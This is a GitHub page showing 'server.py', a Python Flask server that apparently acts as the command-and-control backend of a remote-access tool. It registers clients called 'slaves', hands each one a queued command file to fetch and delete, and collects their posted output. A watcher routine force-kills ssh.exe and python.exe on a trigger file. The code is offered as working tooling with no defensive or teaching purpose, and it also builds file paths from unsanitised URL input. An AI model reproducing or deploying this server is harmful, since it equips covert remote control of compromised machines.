-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathserver.py
executable file
·104 lines (88 loc) · 2.7 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
try:
from multiprocessing import Process
import os,sys,threading
import signal
from flask import Flask, request
except:
import os
os.system("python3 -m pip install flask")
try:
from flask import Flask, request
except:
os.system("pip3 install flask")
from flask import Flask, request
from control import linx,printfc
import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
app = Flask(__name__)
@app.route('/')
def index():
return "welcome to the script's world!"
def checkexsisteduser():
try:
with open("." + linx() + "data" + linx() + "users.txt","r") as userx:
data = userx.read()
userx.close()
return data
except:
os.system("echo '' > " + os.getcwd() + linx() + "data" + linx() + "users.txt")
return ""
def addslave(conx):
if conx in checkexsisteduser():
pass
else:
with open("." + linx() + "data" + linx() + "users.txt","a") as userx:
userx.write(conx + str("\n"))
userx.close()
@app.route('/add/<username>')
def add(username):
try:
os.makedirs("." + linx() + "data" + linx() + username)
except:
pass
addslave(username)
return "DONE"
@app.route('/recv/<username>')
def recv(username):
try:
with open("." + linx() + "data" + linx() + username + linx() + "recv.txt", "r") as file:
newfile = file.read()
file.close()
os.remove("." + linx() + "data" + linx() + username + linx() + "recv.txt")
return newfile
except:
return "None"
@app.route('/response', methods=['GET', 'POST'])
def response():
if request.method == "POST":
data = request.data.decode('latin-1')
with open("response.txt", "w+") as file:
#print("\n")
#printfc(data, "cyan")
file.write(data)
file.close()
return "zenX"
else:
return "Your in the wrong place son!"
def killx():
while True:
if os.path.isfile('exit.asw'):
if os.name == "posix":
os.system("rm exit.asw")
server.terminate()
server.join()
else:
os.system("del exit.asw")
os.system("taskkill /f /im ssh.exe")
os.system("taskkill /f /im python.exe")
sys.exit()
if __name__ == '__main__':
tr = threading.Thread(target=killx)
tr.daemon = True
tr.start()
if os.name == "nt":
app.run()
else:
server = Process(target=app.run)
server.start()